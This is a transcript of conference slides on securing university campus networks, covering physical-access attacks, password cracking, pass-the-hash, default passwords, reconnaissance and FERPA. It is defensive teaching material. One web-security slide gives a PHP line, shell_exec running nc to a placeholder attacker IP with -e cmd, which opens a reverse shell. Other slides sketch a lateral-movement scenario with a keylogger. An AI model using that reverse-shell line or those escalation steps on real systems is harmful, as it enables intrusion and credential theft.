Presentation on theme: "Adrian Crenshaw. I run Irongeek.com I have an interest in InfoSec education I don’t know everything - I’m."— Presentation transcript:
I run Irongeek.com I have an interest in InfoSec education I don’t know everything - I’m just a geek with time on my hands Sr. Information Security Engineer at a Fortune 1000 Co-Founder of Derbycon
This is a broad subject, too broad Give you something to think about Going to try to suggest cheap/free tools to solve problems More notes here: versity-campus-security versity-campus-security-2013
What are the differences? Open by design Lack of physical control BYOD (Bring Your Own Device) is standard Early Adoption/Legacy Apps with little regard to security Politics/Organizational Problems Legal Stuff
Bandwidth Botnets Pivots Free Hosting Free resources Books/Articles Aaron Swartz & JSTOR is a sad case of admins going too far Research Information Grades/Tests/Notes Forced directory browsing for the win!
The point is to learn (in theory) Learning is the product, not widgets or whatever Experimentation is needed to learn Can I run a service on this? Where can I put my website? Where can I run my code? Try telling tenured faculty they can’t run a server?
Old software never dies “But I just got to use this BASICA app” Time tables for testing Assumption of Admin access Mitigation: Figure out needed registry and file system permissions Procmon us/sysinternals/bb aspx us/sysinternals/bb aspx
Frequent nuke and rebuilds SteadyState – no longer supported Achieving the effect with built in tech us/library/gg176676%28WS.10%29.aspx us/library/gg176676%28WS.10%29.aspx Commercial Deep Freeze Alternatives
Besides crappy apps, there is malware Nuke it from orbit, it’s the only way to be sure Symantec Ghost Open Source Alternatives: Train users to put their files in a know location Windows Easy Transfer us/windows7/products/features/windows-easy- transfer us/windows7/products/features/windows-easy- transfer
Attackers are already on the soft chewy center of the “Candy Analogy” Remember the axiom: “If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.“ ~ Microsoft or Dr. David Salomon
Kon-Boot Subverts Boot Process Blank a password in Windows on login Reboot and authentication goes back to normal Some locally stored passwords will not work Nirsoft’s Password Recovery tools:
Portable Boot Devices (USB/CD/DVD) able-boot-devices-usb-cd-dvd able-boot-devices-usb-cd-dvd Building a boot USB, DVD or CD based on Windows 7 with WinBuilder and Win7PE SE Tutorial builder-win7pe-se-tutorial builder-win7pe-se-tutorial Dual booting Winbuilder/Win7PE SE and Backtrack 5 on a USB flash drive with XBOOT t-backtrack-winbuilder-dual-boot t-backtrack-winbuilder-dual-boot
Some may be thinking: "Those are just the patron access machines - my staff workstations and file servers are still safe because they are behind locked doors." Let me share my little horror story about network privilege escalation:
1. First frat boy Bob becomes a local admin on a workstation using a boot device. 2. He then copies off the SAM and SYSTEM files for later cracking with Cain or Hashcat I've done tons of videos/articles over the years on password cracking, so I'll point you to some of those: Cracking Windows Vista/XP/2000/NT Passwords via SAM and SYSKEY with Cain, Ophcrack, Saminside, BKhive, Samdump2 etc passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc Password Exploitation Class
3. Many folks use the same local admin passwords on all of the boxes they deploy, allowing Bob to attack other boxes from across the network using the cracked credentials. 4. Bob then installs a software key logger to gain even more credentials as faculty, staff and students login to the compromised workstation. 5. Repeat leap frogging.
Pass the Hash Metasploit's psexec Pass the Hash Tool Kit e=Wiki&action=view&type=tool&name=Pass-The- Hash_Toolkit e=Wiki&action=view&type=tool&name=Pass-The- Hash_Toolkit
Cached Domain Credentials MSCash and MSCash v2 Cain & Able Hashcat Browser, Mail Client, etc.
Don’t store local passwords Don’t use LMHASHs New OS or greater that 15 character passwords No default local admin, but custom (HASH(MAC+SK)) Locked BIOS Unified Extensible Firmware Interface (UEFI) Control what people can boot from Support issues for reimaging Better lock the case too Cheap lock = crap lock Prohibitively expensive to do better. More on passwords in a bit None of it stops hardware key loggers
Even professors from Comp Sci/Infosec may not know tech details Defining Pen-test to two Infosec professors Defining what a USB hub was to another Silly attitudes: "Additionally, Mr. Crenshaw's personal website, housed on university resources, is a compendium of links to know computer hacker websites, hacker toolkits, and other hacker resources.“ ~ Larry Mand The word hacker freaks them out a bit
Sterling Riggs WDRB Facebook Post September 26: “I don't know how I feel about this--DerbyCon happening at Hyatt downtown. It's a convention for computer hackers.” Lot’s of prejudicial comments I pointed it out to my infosec buds on Twitter, and tons of Infosec folks showed up to defend hackerdom and the conference Post since deleted But Jayson E. Street saved some Eve Adams got in the last words I saw: "Kill em with kindness. Hack em with hugs."
Ethics, or lack there of You get fired for what you do do, not for what you don’t. Why rock the boat? Tenure No, you change your IP scheme How do you enforce rules on those that can’t be fired? Like High school cliques, but with more grey hair and tweed
The plural of a anecdote is not evidence, but… The Foundation for Individual Rights in Education Look over the timeline for the Jerry Sandusky case Look up the origin of the Clery Act No, not all schools are this way (I hope)
They have always been doing it, did not have a term for Bring you own device Flat Networks NAC (Network Access Control) Better be more than MAC Address (ifconfig, MadMACs) Crapware on box need to check system AV and patch level (Maybe dead)
Remote password attacks Noisy Slow Default passwords No passwords are common on printers Network gear Webcams/Teleconference DRACs
Printers Data leaks/Docs DoS Free print jobs Stored passwords DRACs (or other management) Remote control Webcams/Teleconferencing Passwords on desks? SoHo NASes
Softperfect’s NetScan nner/ nner/ RAWR (Rapid Assessment of Web Resources) from Adam Byers & Tom Moore
Some scanners will just tell you THC-Hydra Medusa Brutus Default Password Lists (or just Google)
Default password of a new account? Passwords reused to often, known by too many, never changed Frequent resets cause people to write it down (or more support calls) Password Patterns Passwords over Passphrase = e = e+19
Facebook started on university campuses Students are way too free with information OSInt, Cyberstalking, Footprinting and Recon: Getting to know you -cyberstalking-footprinting-recon -cyberstalking-footprinting-recon Curious George Bronk
How many organizations of about 7000 people have a class B? Got in early, got a lot of space Don’t have to NAT for numbering reasons, so a lot of stuff is on the public Internet Some problems: Open ports or everything! Reconfigure devices Reverse DNS
nmap -sL */* Nmap scan report for pm-cser-loanbox.papermill.edu ( ) Nmap scan report for pm-sscs-hh10500.papermill.edu ( ) Nmap scan report for pm-buse-jsmith02.papermill.edu Nmap scan report for npi10adab.papermill.edu ( )
Firewall it off Turn it off Watch for defaults when sharing files Things get shared with too many folkS NetScan is awesome for finding these Do they really need it? Walled Off Experimentation Labs Virtual Machines
User training Who’s an admin? SOHO NAS, and why are they there?
Does the page allow for scripting? Packages kept up to date Old web apps never die PHP Example $x = shell_exec("nc AttackingBoxIP 30 -e cmd "); Web Shells techniques-obfuscation-and-automated-collection-adrian-crenshaw techniques-obfuscation-and-automated-collection-adrian-crenshaw OWASP (Open Web Application Security Project) https://www.owasp.org https://www.owasp.org Web Application Pen-testing Tutorials With Mutillidae tutorials-with-mutillidae tutorials-with-mutillidae
Corporate Network can get away with more because of physical perimeter (sort of) Insecure protocols HTTP FTP SMTP Telnet
Protocol replacements IDS/IPS/ARPWatch LAN segmentation Network Sniffers Class for the Kentuckiana ISSA sniffers-class sniffers-class Static ARP ARPFreeze static-arp-poisoning static-arp-poisoning
Do you know what is out there? Professors, students and staff could be hooking anything up NAC may give some info Nmap Nagios Commercial: Nessus Nexpose
Better than it use to be WSUS great for Windows clients you control us/windowsserver/bb aspx us/windowsserver/bb aspx Commercial: Shavlik Secunia CSI (can be uses with WSUS) Open Source:
Open Wireless can be sniffed (duh!) Lots of legacy system exist that may not be able to use WPA/2 Enterprise (getting better) VPN over open WiFi was a common option Not so useful Disabling SSID Broadcasting MAC Address Filtering Evil twin attacks
Universities hit everything across the board Most of these others in the audience will know better than I PCI DSS (Payment Card Industry Data Security Standard) HIPAA/HITECH (Health Insurance Portability and Accountability Act / Health Information Technology for Economic and Clinical Health Act) FISMA/FIPS (Federal Information Security Management Act of 2002 / Federal Information Processing Standards) IRB (Institutional Review Board) FERPA (Family Educational Rights and Privacy Act) Let’s dive into this
Turn off the video now
Three main parts 1. Give students access to their records 2. The ability to amend records 3. To control disclosure of student records Only for Schools getting money form U.S. Department of Education programs Why it is pretty fucking useless!
No individual right to sue See Gonzaga University v. Doe Can’t find a case of any university ever loosing funding because of a breach Have there been no breaches? Just not enforced?
Two Quotes: "If, as a result of the hearing, the school still decides not to amend the record, the eligible student has the right to insert a statement in the record setting forth his or her views" "Thus, while FERPA affords eligible students the right to seek to amend education records which contain inaccurate information, this right cannot be used to challenge a grade or an individual's opinion, or a substantive decision made by a school about a student." Amendment clause has exceptions (that covers all possibilities) Grades Statements or Opinions “Substantive” Decision What is left? Overall Conclusion: FERPA has no teeth
Mostly links, sorry Slides will be up when I post the video, but most are in the article If you experiences are different, I’d live to here them Private/State/ Commercial Teaching vs. Research Government Research
Derbycon Sept ?th-?th, Others Photo Credits to KC (devauto) Derbycon Art Credits to DigiP